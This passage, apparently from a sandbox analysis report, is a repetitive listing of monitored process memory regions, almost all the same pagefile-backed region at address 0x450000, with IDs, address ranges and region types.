0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 10859 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10860 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10861 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10862 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10863 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10864 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10865 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10866 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10867 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10868 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10869 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10870 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10871 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10872 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10873 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10874 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10875 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10876 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10877 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10878 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10879 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10880 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10881 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10882 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10883 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10884 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10885 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10886 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10887 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10888 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10889 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10890 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10891 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10892 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10893 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10894 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10895 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10896 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10897 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10898 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10899 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10900 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10901 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10902 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10903 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10904 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10905 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10906 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10907 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10908 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10909 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10910 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10911 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10912 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10913 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10914 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10915 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10916 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10917 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10918 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10919 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10920 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10921 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10922 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10923 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10924 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10925 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10926 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10927 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10928 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10929 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10930 start_va = 0x6d0000 end_va = 0x6d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 10931 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10932 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10933 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10934 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10935 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10936 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10937 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10938 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10939 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10940 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10941 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10942 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10943 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10944 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10945 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10946 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10947 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10948 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10949 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10950 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10951 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10952 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10953 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10954 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10955 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10956 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10957 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10958 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10959 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10960 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10961 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10962 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10963 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10964 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10965 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 10966 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 10967 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10968 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10969 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10970 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10971 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10972 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10973 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10974 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10975 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10976 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10977 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10978 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10979 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10980 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10981 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10982 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10983 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10984 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10985 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10986 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10987 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10988 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10989 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10990 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10991 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10992 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10993 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10994 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10995 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10996 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10997 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10998 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10999 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11000 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11001 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11002 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11003 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11004 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11005 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11006 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11007 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11008 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11009 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11010 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11011 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11012 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11013 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11014 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11015 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11016 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11017 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11018 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11019 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11020 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11021 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11022 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11023 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11024 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11025 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11026 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11027 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11028 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11029 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11030 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11031 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11032 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11033 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11034 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11035 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11036 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11037 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11038 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11039 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11040 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11041 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11042 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11043 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11044 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11045 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11046 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11047 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11048 start_va = 0x450000 end_va = 